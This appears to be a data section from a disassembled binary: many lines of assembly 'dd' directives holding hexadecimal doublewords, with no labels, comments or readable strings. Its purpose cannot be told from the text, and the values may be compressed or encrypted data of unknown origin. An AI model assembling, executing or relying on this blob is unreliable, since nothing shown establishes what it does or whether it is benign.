dd 92833E5Fh, 88F2590Fh, 12DD7127h, 0D1DF0931h, 0F3F49693h
dd 788C4F9Bh, 39E344BCh, 1B0D76D1h, 0D6D2C2B2h, 0DEF8421Ah
dd 0DEFC42A0h, 57AC89A5h, 54050B05h, 818E90Fh, 0F44D2503h
dd 47F809A9h, 201CAD06h, 0CD5204A1h, 2714FD1h, 607B0120h
dd 0DB335F23h, 20E93F1h, 0A6EFBD84h, 0FE8314D0h, 0DA255A81h
dd 77140A5Ah, 0E44158D8h, 0BFE8CA93h, 9FE6589Ch, 0E87E3D11h
dd 56498004h, 8D696664h, 16719F44h, 89EC6C6Dh, 0AFF8555Dh
dd 6141D009h, 5303FEE0h, 0FC772EC7h, 0CA156ED1h, 523210BDh
dd 4D7829CCh, 4A621B95h, 9F6EF0D8h, 0B1DA6CEBh, 833C028Ch
dd 0B06448A7h, 0D475B037h, 484F80C7h, 48408666h, 4C9A52D8h
dd 0DED0FFDCh, 0DB691459h, 83253E34h, 3CA9414Bh, 0F4A9F6C5h
dd 5FAEF324h, 4EF07D8Ch, 9342F974h, 0B8CA59B0h, 59AFB202h
dd 88705EBh, 0AA8B8A67h, 35B351DDh, 57C41289h, 740835C5h
dd 1E6C88FDh, 14491871h, 52DC36BDh, 64651646h, 983513C8h
dd 548614E5h, 0C2E0712Dh, 30687B30h, 152819E4h, 5B85A5DCh
dd 2A3D4464h, 2EC3D08h, 40BD802Dh, 9AA3AF7Ah, 6DE85C2Bh
dd 0B140A73Bh, 0A68C0B9h, 5065E5DDh, 52FD7488h, 6B842650h
dd 53AD845h, 28E1B51Ch, 0FD4FF86Dh, 5DE0EA2Ch, 0A740C59h
dd 4317D805h, 0FE88081Ah, 59791952h, 0CB6FB6C6h, 2847080Eh
dd 0F410C011h, 15E88CFDh, 2DFE42A4h, 0A82039ECh, 4384C40Ch
dd 0F8D86A94h, 85849810h, 958D4F9Ch, 80FC2A3Ah, 900B299Eh
dd 89246A04h, 9D2FE6C4h, 0B4D019FEh, 0FF564E2Fh, 0E709AC37h
dd 1CC09E6h, 0B44518BEh, 9AE6187Eh, 5FB99889h, 0B45BAA20h
dd 0F4209A2Dh, 0E264DDD4h, 2C27ECD1h, 0ECEA0253h, 1660FC1Bh
dd 9991ADBBh, 50800331h, 72044D5Fh, 4089BE69h, 0C9E4C724h
dd 5F5068E3h, 0E012E091h, 4D1D33BEh, 1234B822h, 291F5068h
dd 593830B1h, 855D3928h, 531D7514h, 0B9CC931Bh, 23EF8CC4h
dd 543489A1h, 527D7ADAh, 0C50454E1h, 0A435E6D4h, 26FBF2EBh
dd 6DA41C89h
dd 202E259Ch, 0AF708238h, 0C8595781h, 89D48C82h, 5D69DC7Dh
dd 1C7C4C50h, 0A573A185h, 84E905FEh, 44BCD806h, 0E864F4D1h
dd 0D03EBC24h, 44BE9345h, 0A3C3E839h, 0D84D8435h, 0B8A32A7h
dd 4A2CC6h, 0FF1E6A2Dh, 0F54AEBD6h, 70112B29h, 567C1EE4h
dd 0FED134B2h, 2D0510C5h, 0B0023B47h, 0AC51860Fh, 0BFD080A7h
dd 936601E2h, 608741F3h, 415003EAh, 0A8F2B73Eh, 25BBBDE5h
dd 50491104h, 5BD18B32h, 79F8A426h, 4E472514h, 92AFF646h
dd 0E95C9FEAh, 0DAB53B2Bh, 79D5C974h, 70EC8F1Eh, 0D432E4E4h
dd 534D466Ch, 0CE779A45h, 69A29A13h, 7532DB5Ah, 0C4E6F904h
dd 3EC49D5Fh, 192B3A32h, 5E841444h, 895E2D80h, 0AFA84FB0h
dd 0C821716Bh, 6A9521CBh, 4E285606h, 4E5CFB58h, 0AE5F74E1h
dd 8A722173h, 0D4CB83A5h, 0A4B1936Eh, 3E5C74DDh, 38D8C943h
dd 95F4BF24h, 1F84DCA2h, 482C5704h, 0E025FF42h, 44A2045Dh
dd 19D4B2FCh, 81BA957Dh, 4C47EC7Fh, 0AB4F5E5Fh, 0CD09D764h
dd 0CAE14B34h, 0B9CE9B5Dh, 4C0259F3h, 7724CC28h, 0A483C7C1h
dd 330B636Ah, 0B3D0AD35h, 84CC9F2Ch, 0FA1FAC24h, 79112E72h
dd 122A5059h, 5676225h, 255BA4D4h, 0BC911CFCh, 25F4485h
dd 0C85F689Eh, 88BF6C63h, 58C73BC2h, 2E60929Bh, 94CF47Dh
dd 609B326Ah, 0F97DFCCAh, 0B3983E90h, 0BB89FB8Ch, 32365891h
dd 6AE01384h, 4B7BB604h, 5F9A6B2Bh, 2CC8293Ah, 0F1A65AB9h
dd 50A23042h, 21D49035h, 27D064E4h, 0D0382004h, 0F8E09087h
dd 3EFC8BFCh, 0F8100821h, 241D08E2h, 0D3B9389h, 0A238742Bh
dd 0BA29C110h, 0D458904Bh, 179C951Fh, 47FED021h, 0B5479854h
dd 0AA0294A9h, 0C4B4D4B9h, 24A2FB24h, 0C18F5C58h, 0D10C60CDh
dd 20C3C120h, 244A5C0Eh, 0F1D9D1B1h, 938DEC3Fh, 747B91FEh
dd 336AF51Ch, 79C34857h, 20241AC7h, 184938B9h, 45E3989h
dd 0C68B3E8Ch, 870C28Bh, 0C4607B4h, 56D92D80h, 82035FE2h
dd 22A5083Ch, 0F601F042h, 4F62E74h, 20A83456h, 3BFA8DD3h
dd 2F7F24FDh, 265C603h, 7B9989ACh, 206B33A8h, 10C25D0Bh
dd 4E8968D0h, 0D6748592h, 91AA4085h, 66548359h, 2BE126A7h
dd 813565C6h, 0DEFA46A6h, 1E7D42D9h, 0F8030B50h, 0C39D0F7Fh
dd 0FEE3B94Bh, 8F03B3EBh, 0BF385095h, 32040D75h, 0B258EBC0h
dd 94505C2Ch, 582797C8h, 0F7581FBh, 8828838Ah, 0AD76FF07h
dd 0F76ADECh, 0C61AEB36h, 0C1A9828Ch, 8808F81Ah, 0CA1B0E20h
dd 3901C02h, 0BAE76648h, 0FBB46F8Ah, 7AFC5928h, 0F75F4AB0h
dd 0D9042A4h, 61F84D8Dh, 2F0144ACh, 67A8D2C4h, 29D06EBBh
dd 0C1DC2708h, 954A4087h, 0A1153C8Ah, 0A4FA4D94h, 8A21ECD0h
dd 6FF82B3Bh, 0CE8B1805h, 0B3C33E08h, 0E4724093h, 112896A2h
dd 0B5C9107Ah, 767C5550h, 147F0855h, 0F8397078h, 7DDB0689h
dd 0EA664D71h, 5F6B0838h, 5943FCD9h, 1B4E6650h, 0BC13570Ch
dd 9575EE2h, 229B1FB3h, 43615B46h, 888424C3h, 43C3281Bh
dd 8808E3D5h, 6BC842CCh, 69C35274h, 8C600C29h, 77F33BDh
dd 43D92BABh, 305B495Eh, 15F15881h, 42B8384Ah, 0D2BF2A0Fh
dd 0A30FAE1h, 8F0F1310h, 5D51B433h, 438D180Bh, 0C6200F08h
dd 641D2587h, 36D04A56h, 23E04710h, 0BDF8BFB0h, 102913EBh
dd 0C89410C0h, 69D8C808h, 3868FD82h, 3F12AACAh, 3EFD50Fh
dd 5A0F40EAh, 19680819h, 84BE9A03h, 0A8853A18h, 56A2F761h
dd 0EC3E426Ah, 6E80B566h, 0D12C6808h, 53353673h, 0D864EC21h
dd 0AB09B818h, 2B2125B5h, 39841E78h, 0E05A4CEFh, 23EDE386h
dd 0AADDEA3h, 4C0816BDh, 2AA4562Ah, 62446A29h, 40B71148h
dd 40106863h, 68BB43A1h, 0B32E1D34h, 7368ACD6h, 0BD0A0E0Ch
dd 704A167Fh, 43104423h, 57B468B1h, 0FE33FE6Bh, 0F808BFD4h
dd 0D51E6C44h, 6B6364BFh, 6D61710h, 2B1DC798h, 7118827Dh
dd 80C557E8h, 0A5EFDB4h, 202932D5h, 90C041ECh, 0B4C8EF1Ch
dd 3364BF68h, 26446499h, 0D8612C09h, 9D84AE60h, 0AC77B4AAh
dd 954CCD5Ah, 230ED410h, 0CAC490D0h, 716F42C0h, 0AB3AE0CAh
dd 0C011B2D6h, 4148D5B6h, 70D8AC19h, 5CA28E68h, 1983DCB2h
dd 0B09A026Ah, 660FF3A8h, 0CC6CCAE2h, 0A6C80C17h, 0C81CF76Bh
dd 19F04D8Eh, 506CF8C8h, 0C27D9DCh, 122E4DD8h, 376EDC1Eh
dd 0AC68C31Ah, 8C2B12B3h, 0B1F44AB7h, 2BF09460h, 0F091E3DEh
dd 0B16FA888h, 9156FCCAh, 31F8F2F8h, 98E20E9Ch, 7B0EB819h
dd 72593C87h, 2C7808CEh, 0DCE895Eh, 448A1BCh, 11490EEBh
dd 286B1019h, 56881027h, 0F811BD57h, 0C47A385Fh, 0F516FDF0h
dd 1CB83F02h, 46136ACCh, 8912017Dh, 70A2F8B5h, 0F1F21341h
dd 0C183478h, 0A68C72Ah, 20416497h, 9198720Ch, 0F7117527h
dd 23B5294h, 0C04A7C53h, 9F10FB88h, 5FEBFED6h, 0A1C5A9B2h
dd 8DB72B34h, 8DD2FC33h, 0F7040B27h, 74FAC01Ch, 54360B94h
dd 3BD69F34h, 8F1A2952h, 49AAF650h, 37FB4048h, 0F77D46A5h
dd 795FB934h, 0F189B741h, 758D5E45h, 132C8207h, 539DC209h
dd 2FF0656Eh, 20D46812h, 10D3FEB9h, 3106DCB9h, 20210468h
dd 89665005h, 14562F7Eh, 3B5E7306h, 3921C5DBh, 6252053h
dd 681ADF03h, 12EEE6FCh, 0FC14700Fh, 9A62BE85h, 130E8E4Ch
dd 0C183C104h, 5084488Bh, 0EBDB32EAh, 0C5AC3B5Bh, 0FC62D293h
dd 4961A7Dh, 0A3920420h, 1C2AB156h, 5ED67401h, 102E6021h
dd 965601B3h, 0C38A62C8h, 83E7BA56h, 9896F82Dh, 0A0F61148h
dd 9273FC43h, 4816A164h, 81A71EEDh, 0BF20E404h, 40265334h
dd 0D12BFB30h, 2682E00Eh, 0D0325234h, 0F7C82020h, 5492122Dh
dd 0C182DD07h, 0F55C03E0h, 616DDF0Eh, 76700DDCh, 0C144887Fh
dd 9187451h, 0DD4E8C15h, 8B683555h, 0D1FE1CCAh, 73FFC09Fh
dd 0A2E95971h, 78A8293Ah, 6A55A7B8h, 4A006E36h, 458A2CECh
dd 0CD4A9513h, 0D9C88969h, 88824389h, 0C95588FDh, 4A84774Ah
dd 0D48F8654h, 39F40081h, 7359D445h, 6CF1A20Ah, 94F2E873h
dd 0A25837CCh, 2ADF860Fh, 432553C1h, 7203F8ADh, 316A7404h
dd 21512EBh, 484F0775h, 0E4019708h, 88CC5B93h, 0A3DC58D8h
dd 9610B499h, 0C1628021h, 9194889Bh, 80DF3B62h, 1876E4B8h
dd 9BF1A38Bh, 8DD1A8CBh, 0C1F00B7Dh, 0AB4002E9h, 0E13B83CAh
dd 98A4A803h, 73378A58h, 0C0035573h, 0E18002F9h, 3E2983Fh
dd 0CCECFE88h, 41EF124h, 3C010F80h, 0E2BC0C5Dh, 40CA0299h
dd 0ED2E90F1h, 662F220h, 8C290F46h, 32033A91h, 238F633h
dd 8BEE320Ch, 60DF7948h, 1F76EF16h, 0B7455001h, 354415BEh
dd 8A09CAECh, 3C925C80h, 802FCBF7h, 5C4674C7h, 7239EC3Bh
dd 48F5B651h, 0A041D7DAh, 879D7F14h, 10184EA5h, 0F1AACDC7h
dd 395EE140h, 12734CC3h, 6A0A7B2Bh, 0CC0E703Dh, 0F1FE4E76h
dd 8789DD96h, 0A68259F5h, 0A355A890h, 88CEB84Dh, 854B9106h
dd 4D7835FFh, 88268DF6h, 0BC505724h, 9132424h, 0B02580E0h
dd 44412653h, 0E4A18997h, 89641C6Eh, 4803350Dh, 1071C4A2h
dd 0B22E9F25h, 95A24E14h, 0A501E14Ah, 119BDD7Ch, 184EBC85h
dd 0EC7A1C45h, 1283BFC6h, 3699748Dh, 92883D56h, 0FB26B7F9h
dd 3C4466D3h, 88B8E818h, 3ECB3BFFh, 0C8270275h, 33886DDh
dd 9551EA68h, 2BC98C58h, 53477E56h, 0B0A1C94Ch, 0A174C63Bh
dd 0D530023Bh, 0AC848C57h, 0E453EE84h, 3FF54BADh, 94140E02h
dd 0F55F4CBBh, 0A3D3BB43h, 16042052h, 0ABE0A580h, 0DC253613h
dd 602CF5ABh, 0BD318D4Ah
dd 8F6823E1h, 0ABF31B87h, 84AA2566h, 68210446h, 3C0FA108h
dd 0DCB8A286h, 167FBFECh, 0B505B70Fh, 4F2337F1h, 0C8682091h
dd 6F644FB1h, 30A614FCh, 7005BA44h, 4917D090h, 2E644699h
dd 0E71EE152h, 5221A00Ah, 9EBD13B8h, 302747A9h, 985D1ECAh
dd 9F67C722h, 58077F0Bh, 6FFE360Fh, 0C1B9FE9Fh, 1427204h
dd 84AF83D8h, 0A823AA5Ch, 0ABE67D07h, 9DE5B5D5h, 0D1A7A9DEh
dd 0F047A7F3h, 55F60C92h, 0ECE81A64h, 0C953C8EDh, 43D4C5ABh
dd 3DBD2A6Fh, 40755000h, 0A2C3858Ah, 8BC3800Fh, 0B06589F4h
dd 1332E1F3h, 624845D0h, 3E9E17A6h, 5FB3C942h, 0F85C2064h
dd 0E2C48455h, 35EB1C01h, 8B495381h, 0E750914h, 0A2C2A01Dh
dd 1A1852EBh, 12014475h, 612C2C87h, 0F2F0B60Fh, 920759D5h
dd 0E802E0F6h, 28AF035Ah, 9883F406h, 4D8C0F02h, 764AA8FAh
dd 741D486Bh, 0B05A8B15h, 9895E9Bh, 1E5680FFh, 48068D95h
dd 0BF0AD791h, 96FB101h, 0F2C492A1h, 45085E45h, 0AE462B11h
dd 7C77CD82h, 52020030h, 76DB859Ah, 0FB8B3314h, 7E0309DDh
dd 1AE1AB08h, 2026E11Fh, 98246664h, 0D505E57h, 2C5A0377h
dd 0D619DAF5h, 8050B01Eh, 7DE13824h, 0C859D15Fh, 31425E0Ch
dd 8C7F1EE3h, 148DAEBEh, 37269C03h, 7C85742h, 0A5B6F35Ah
dd 0F9D8044Bh, 73EE4339h, 0DB5155A1h, 8E9F14E6h, 2BF0C501h
dd 4CC7B384h, 0A0C0DEBh, 0B31E2A34h, 0F13F3FA3h, 0EF56CF94h
dd 164FD693h, 120CF4D1h, 240B79EBh, 0F03F8376h, 4E789E75h
dd 5140B04h, 78805018h, 73FEFF09h, 4E1E0D29h, 1B420736h
dd 0CF4789C7h, 66084BE7h, 47EDD24Fh, 0FE616E96h, 78EBFF40h
dd 0CFDE4057h, 2814C3A5h, 8E42E42Eh, 60C10356h, 0AC047753h
dd 7E4743CDh, 0C7023089h, 0FCC25D23h, 856AE5E5h, 8320012Bh
dd 2676FDFFh, 4E027C1Dh, 3BD23304h, 8A6840CAh, 3AFF1D41h
dd 3C19CEC2h, 0C015DFDEh, 0FE4C75FAh, 886952C8h, 77513124h
dd 45308B7Ch, 5438152Bh, 0D410242Ch, 0E7FC8420h, 89EA65C0h
dd 7B880856h, 15E35411h, 0BF3D9017h, 0FA1F8986h, 73C73B0Dh
dd 380C4218h, 390501EBh, 8730C7Eh, 0CA0F5157h, 54947D4Fh
dd 83A18053h, 12667D04h, 724A2274h, 1B01C785h, 8AFF488Dh
dd 0D14CDD44h, 0CC06FD0Ah, 7C288F4h, 89B6515Ch, 0BAD0515Fh
dd 17090834h, 638084BDh, 0C32410C1h, 1A59C9F1h, 0E42B75EAh
dd 0C59578C2h, 0E3D93810h, 8A896B53h, 8577BF48h, 0CB1245A9h
dd 8470A05h, 2B7744ABh, 732DC2C6h, 34D8D7E1h, 4FEC322Ah
dd 3FA047Fh, 7750CE58h, 85A61974h, 6CD86F90h, 91F32BA7h
dd 765615CAh, 612A0A89h, 6606645Eh, 0D0B825CFh, 0C446D16h
dd 707D628Bh, 6D461FCFh, 0F05CB698h, 76EC0A32h, 52E1303h
dd 0D0478D0Bh, 0C42EF725h, 0C97988DCh, 16F9A55Fh, 8525EB13h
dd 830A9195h, 601B4FC0h, 0ADB85935h, 0A1405BDAh, 7C80B294h
dd 12B56BE8h, 1D17763Eh, 0E8AF2866h, 0F867D150h, 58F6402Eh
dd 8485E8Bh, 4A39B67Ch, 806A8040h, 38E1FF60h, 7787501Ah
dd 2BFB62C9h, 1D688A1Dh, 6C2EB5E8h, 599E8AC9h, 0E91EF9C5h
dd 2284C72Ch, 8C88468Ah, 6717891Bh, 64562EB6h, 0C37C32E9h
dd 0C3760161h, 0C02805F6h, 27FC24Dh, 0AB0D80BCh, 0CB168009h
dd 245D6851h, 400240DBh, 0C35920CAh, 5462C194h, 596D103h
dd 0D52950BEh, 0B9358110h, 0A5E1988Ah, 0A148BE02h, 0E56EBD10h
dd 0FE66F957h, 0B26BD352h, 0A0CEA417h, 256AA2B4h, 0AE598845h
dd 3C1A5914h, 0AA3DC6DDh, 0E23E14D5h, 6A501713h, 0FD3304A4h
dd 0E825483Ah, 427E59A5h, 0CA30FCACh, 2A88B761h, 18707A10h
dd 0DA950F84h, 14460BE1h, 0BDF004B8h, 0D3505728h, 6D60EA3h
dd 0CB1C1040h, 70648494h, 38CD055Ch, 59B65F04h, 564AC06Eh
dd 974E318h, 0EE972674h, 5916B796h, 0E287E384h, 1A5ADD21h
dd 82E214F3h, 56E416D9h, 0E242E359h, 0E7D0D790h, 58F633F1h
dd 4EE356E4h, 0D94AB4E2h, 0F24E1056h, 0B91C5AC1h, 0AB5DD504h
dd 0E0CA57A3h, 76B2ADBDh, 0BB300084h, 16E15B64h, 0BE172D2Dh
dd 0E9C295A7h, 0C5FC2F59h, 70CF914Bh, 0E0841070h, 5F2B4FA2h
dd 855F6D11h, 42EE0B14h, 2864BB6Fh, 3A30AA49h, 9B7E71A3h
dd 20802284h, 6A25E02Ch, 11A91A90h, 959A5742h, 0C35E2DD3h
dd 0D7B7F953h, 0B9DD9A6h, 0C65C106Ah, 0CFA8381h, 46F74374h
dd 46344BECh, 4F845198h, 352984BCh, 74E0502Ch, 79EB303Eh
dd 0D7CCF8B0h, 91AEB1ADh, 321C812h, 714F748h, 975C412h
dd 2920F4ADh, 401324D9h, 2052A416h, 0BBB4D749h, 606880EFh
dd 78EAD292h, 4F75244Fh, 5C7BD1BBh, 0DC318AF3h, 0D5C91327h
dd 1015663Bh, 9F40F36Ch, 7170BE0Ch, 683C1A6Ah, 0A3014FF0h
dd 0BEFFC3Dh, 0DD3CC714h, 282B6839h, 30016A17h, 2B993032h
dd 0F8D1C21Fh, 0CC8606Ah, 0AF8B9764h, 30444631h, 0A16A861h
dd 0DE0C4220h, 0B77C90A1h, 2D8064A8h, 0BB019EAh, 0B442867Ah
dd 0CC90A1DEh, 8862A8B7h, 77A133F1h, 140E6101h, 0BC60FE0Eh
dd 38D88B40h, 58456A56h, 0ABBEEF7Ch, 0C94FBBC8h, 7691EAC4h
dd 0C9381EE2h, 53945BC3h, 9C8E13F8h, 0FC685A56h, 4E5A850Fh
dd 50CC5021h, 9D6AE3Ch, 18DF5E28h, 0A1024763h, 0A62F0C17h
dd 0A4680982h, 70455429h, 16A4DB33h, 0A4AC534Eh, 89036A87h
dd 13C950D8h, 0F8D9A5C0h, 4EF5E2AFh, 0A60FFEB4h, 41CC2552h
dd 0D18CFADCh, 506A1FCAh, 3E724402h, 0F14E59CDh, 0E96AB36Ch
dd 86B8A5F0h, 0A72F57DFh, 0F9CC04A6h, 11C9C481h, 0F84EF46Fh
dd 0BF627405h, 0A11386A0h, 5E788DE7h, 9380B253h, 0AABF604Eh
dd 5097C427h, 81C10517h, 0FC08242Ch, 8150F481h, 7C027E80h
dd 4418660Ch, 28C93AECh, 4131DFF0h, 0D8F4E615h, 0C5A81E64h
dd 0D9D7A8D7h, 0D6C65910h, 0A62352A3h, 0B141C2CFh, 0EC151253h
dd 986A512Dh, 30AF5603h, 8364E021h, 8AB1EC4h, 0E9A12955h
dd 0A092916Fh, 0FE6383E2h, 84F8843Bh, 6B78F117h, 66A546B8h
dd 0DF5B3225h, 5BDC68D8h, 7E67CF53h, 2D9DD18Ah, 0DE469314h
dd 5253E085h, 46E154A7h, 0E6E63E52h, 0D09740AEh, 10E29DEDh
dd 78EBAE22h, 688163DDh, 2DD9CEC5h, 7502C514h, 59EB5603h
dd 5A3A4E53h, 8F72EE57h, 10C28174h, 50C33AD2h, 0FBECE1C0h
dd 92E7B86Eh, 0C9530EE4h, 0A28F460h, 590F5228h, 7918EBE5h
dd 1D2BA028h, 892B1449h, 0EAEE5457h, 8DD28A17h, 5B4C7A14h
dd 46FDCC22h, 16F6CA78h, 4E091148h, 9652F419h, 17CBBB13h
dd 14D4624h, 0EBDE7C06h, 964F786Eh, 9D05D09Ch, 4D315BCAh
dd 10090F5Ch, 1D129D39h, 1D216AF4h, 0B8455228h, 0E91C7524h
dd 10A19A3Fh, 22A4FDCCh, 25F35954h, 459889CBh, 5A08B51h
dd 0A80B381Ah, 0DE3C1DD1h, 0A6978DF3h, 0C0A5521Fh, 98A166F4h
dd 0B18EAA32h, 0FB2256C3h, 0E932955Eh, 8C8C9727h, 8F5E8BE1h
dd 0BDCB5F78h, 60251F66h, 49074EFAh, 0FC925E53h, 32578E24h
dd 0BE8330A2h, 3B090190h, 4833FC68h, 0B5FE602Ch, 18C7AED9h
dd 5BA935C4h, 905A385Fh, 0FB4825A5h, 8FED4BBBh, 531160E2h
dd 44890E33h, 9DD91ED7h, 44239851h, 0D62A1064h, 0C44B2CB2h
dd 5ED02F0Fh, 1B0C261h, 0B8825F22h, 0A5EE89B4h, 3424A113h
dd 2F43BBA1h, 5428CBF0h, 92564D13h, 3C5D9461h, 1868C485h
dd 488BDB34h, 0E7FD8C32h, 354C3F8Ah, 4888468Fh, 4018CE3Ch
dd 28270033h, 606AEF7Ch, 68A498BDh, 292E4BA8h, 0A87EA31Ah
dd 80EBD116h, 0FFFEFC9Eh
dd 967C7684h, 831C5965h, 68096A45h, 0D16442FFh, 45848D81h
dd 4043A37Bh, 411A0462h, 0D3AD0CFh, 224FF47h, 22954F43h
dd 9043C31h, 0FE4448B2h, 7921710Eh, 26163369h, 0E3192CD6h
dd 928D9935h, 0EDEA02C1h, 0ADA0DD76h, 6FA22B5Bh, 0C8C008D2h
dd 0DE1110A4h, 0FEACBF13h, 0AE3DD32h, 11622589h, 8C996FCh
dd 6A0123B2h, 3CC06B04h, 0DAD8AD30h, 37F490B3h, 6FEB208Ah
dd 2AF8BEC1h, 0AE4B163Eh, 49303F98h, 32DBBCEBh, 541E6862h
dd 106802EEh, 1314504Ah, 147A5845h, 40A2117Bh, 0EE643BB8h
dd 0A6F7AA85h, 8CB74476h, 52933552h, 0F73B8079h, 29BEED7Ch
dd 0CAA1C52h, 6A61764Ch, 88503103h, 64D3549Dh, 50550C14h
dd 0DA44D2B3h, 361A9724h, 18053C65h, 8A257EBh, 0F0EC3062h
dd 3C7ADD08h, 0F18C21BCh, 1A384A69h, 8CE6D517h, 84EFF852h
dd 5D99D8A1h, 85D0F16Bh, 0E296829h, 0D3585705h, 480F6F28h
dd 8B13B2BEh, 0C218CBDh, 53C920E7h, 0BDCAB3BFh, 8C4FDCCFh
dd 2B0ED892h, 120640BEh, 0F8BC0B91h, 686A1C1Ah, 4D2F0C49h
dd 24D01534h, 0ACA068F1h, 2723DAC3h, 522AA944h, 0B5AA88E0h
dd 723367ACh, 0C8793130h, 2523B7C6h, 0FEE41B5Ah, 0E476B429h
dd 4C706A42h, 9C682942h, 0C890622Bh, 180A5E22h, 0E859794h
dd 33128468h, 3B13A201h, 83A23210h, 486D3CCAh, 0C4FC16A8h
dd 2FB3D40h, 0C4A018Ch, 0DC0ECF17h, 75291C0Fh, 0D409EB12h
dd 6852307Ch, 7F30521Ch, 0B64ABA94h, 0D4FF625Ch, 904316D3h
dd 10DBA411h, 24E2309Ch, 0E04F0F60h, 15481382h, 850CF8BCh
dd 74F27CF2h, 0B47A2C5Ch, 124AE5A3h, 12E88BEEh, 45EC92D2h
dd 0FC084C1h, 0F2EF7895h, 909E5108h, 30AE9FFFh, 0BBE5F025h
dd 2DEC64A1h, 53D6602Ch, 6A876162h, 88A12906h, 0C9FD9EEh
dd 89918FECh, 641B448h, 8B2CE202h, 4C319CD7h, 57C83472h
dd 44F7AC08h, 42586653h, 2D1C11A8h, 279546B2h, 0C888DE10h
dd 920A1FF1h, 0F085C306h, 0E8830321h, 480D7430h, 0C0F5EC9Ch
dd 0EB57F6D9h, 53C0A124h, 0D3F12B22h, 621807F1h, 0E4842275h
dd 0E435F253h, 0B5742228h, 9BBB78EEh, 401C8312h, 0C5687409h
dd 6964C96Fh, 6D7DF7AAh, 136A94F2h, 9A6ACBD2h, 0C9675B33h
dd 696FA6A9h, 7771B2FBh, 23C47A69h, 0E7F420C8h, 689E1EA5h
dd 27F4949Dh, 64147C74h, 4271F810h, 0BFC9748Fh, 8B568968h
dd 22FC3534h, 57329BA6h, 9B7ED641h, 423F65C9h, 0F6144640h
dd 0BA79B790h, 0FFB61CC4h, 427208B0h, 1733408Ch, 0DC642285h
dd 0EE87223Bh, 513DC2A7h, 24DAA3E0h, 1FF4F1A1h, 0E892DA42h
dd 5A348869h, 0D87ADA3Ah, 68DE1961h, 4A341213h, 0FE34412Ch
dd 75F48B96h, 457A0A52h, 0A90D692h, 21696B68h, 8812174Eh
dd 0C011FBD9h, 1D9F8520h, 0AC4CA539h, 14F29197h, 0C36FA421h
dd 44D227DCh, 1438FC74h, 4BC6C603h, 0DD18F3C2h, 0AD3D99D3h
dd 75F7E40Bh, 0F0030D2Bh, 0DEF3D9EBh, 6C393AA8h, 3353746Eh
dd 76C7303Dh, 0CD50C62Bh, 0D841889h, 8C013241h, 0D20C8D10h
dd 0D95C827Eh, 8F263D93h, 4C6224F9h, 0A1662102h, 7A9D25E4h
dd 2171AFD5h, 0C7F65EFEh, 89D4AFC4h, 0C5926AAh, 17B8F3F7h
dd 8AB47552h, 0FBB6205Eh, 75C5E466h, 34029D0Ch, 8761DE5Ch
dd 0C6AC83Ch, 0DB09217Bh, 30A67FA5h, 3744DD25h, 0D4E284B5h
dd 0C7D8E8C8h, 0B568C809h, 3BE3D946h, 0C5BBC9D5h, 6AF2BEAAh
dd 0D806434Ch, 0C0A7403h, 2008E034h, 2C5FD4EBh, 438EDE4Ch
dd 56567C91h, 657B8862h, 2DD511FEh, 0DC1864A2h, 2E04566Ah
dd 8B994D88h, 0C99BF2Eh, 0E8C810FFh, 0CF3523D0h, 0B70115BEh
dd 0CA0B10EAh, 0E2BB1CBBh, 71C6239Eh, 0B908E90Eh, 8922E114h
dd 0B82FDC4Dh, 0ECB99277h, 3F26190h, 476AE418h, 10EC8E18h
dd 78B7950h, 458AF84Dh, 52D167E5h, 374BE465h, 1CCC22A6h
dd 8BE618E7h, 4ED22A4h, 10215DECh, 0E9EE22EFh, 0F081F108h
dd 0C18B4017h, 93A4C723h, 9384C268h, 0E9CCE47h, 9F93A6E8h
dd 5E76E14Ah, 25586627h, 65D27D8Bh, 7E0AE190h, 8456570Bh
dd 5F248058h, 0F0362537h, 0E9CE09Bh, 0FDE5125h, 561268D8h
dd 0B4817C73h, 2BB4448Dh, 53643421h, 9A32D7D9h, 5309EBC2h
dd 932C2CC5h, 0FEC60471h, 0B7FBC539h, 112858C9h, 0EC49E718h
dd 0DB567EC9h, 5142623Dh, 21239350h, 48A5143Dh, 0AEC6EB7Ah
dd 0FC968143h, 0A3C0C97Ah, 8444B7Eh, 5B5DEC33h, 0D87E1577h
dd 0C3C4976Bh, 14C86974h, 4BBE54EBh, 1C459F1Ch, 0E4C82890h
dd 0BD20BEA6h, 619D3377h, 0C81C98C0h, 58CF574Ah, 686B847Eh
dd 585414A7h, 0CACB3256h, 925F3032h, 109E4170h, 0DEE18D2Ah
dd 0B058A2Fh, 8B1E0C91h, 0AD626E1Dh, 579A11FDh, 7817A4C6h
dd 4C98A34Ah, 0CECAF46Ch, 0AD4EED68h, 0D0BF0B10h, 0A6FF0CB4h
dd 88A84B4Bh, 22D3FF14h, 0E7480C88h, 446AD361h, 9C842695h
dd 2D35A1CAh, 0BC451948h, 102346F7h, 0A8F1C04Fh, 11488B6Dh
dd 44848A62h, 1B04CA3h, 9A669B20h, 890455B5h, 1A0C1252h
dd 0DBF0D13h, 3F88360Fh, 11572F84h, 0E9B40422h, 6531FF8Ch
dd 8A6846E8h, 33577489h, 0D1430A8Fh, 0C9B740EEh, 2869C97Eh
dd 8E6419B4h, 3DEF6A78h, 5B6A4823h, 5F5D24FBh, 0B2FE67F8h
dd 8CEC14CCh, 47D61381h, 4857550Eh, 9DA0FC28h, 2E6F1042h
dd 6408140Ah, 300C7208h, 5A1DC75h, 609105D8h, 0B829CDFh
dd 0FE68F1E0h, 0C4AB0CAh, 44E751F5h, 48C02CE7h, 27B2EC06h
dd 8EFF5018h, 0ECC4DB43h, 11FA6953h, 53240B5Ch, 32EEC7EBh
dd 1E53F05Dh, 0CE1E7126h, 75FE3B80h, 755D3945h, 53202DE4h
dd 6A0912F7h, 0BB73D75Dh, 697651A7h, 40162C51h, 29078BEEh
dd 78271A54h, 6AE59D69h, 41148514h, 0DB987E86h, 152C45B8h
dd 60521292h, 0BBC63B49h, 76B0DAA4h, 0D5C8CF4Bh, 403D8878h
dd 74BF029Dh, 15E15F47h, 56805275h, 6556443Dh, 4D533E32h
dd 27ED213Ah, 8416BB9Ah, 7B547529h, 27157421h, 0FF7B9182h
dd 572C254Ch, 0FC2CC23h, 0F9D48426h, 0BE4910C4h, 0ED6A4CEAh
dd 11CEB27Fh, 703A7887h, 0E67408FAh, 0E470E5B0h, 21217521h
dd 59527E7Eh, 0F36A2E0Dh, 0EE7DEBh, 9674A7C3h, 0B6F68C56h
dd 224E3F46h, 4019F0B9h, 4EC2FC3Bh, 4740B538h, 0DF219AF9h
dd 0C948977Bh, 0F88B431Bh, 9CE72805h, 0C7E24203h, 0CAB874h
dd 0AAB47FD2h, 87850AF0h, 0DA9B901h, 50C33E1Bh, 0F2AF4F20h
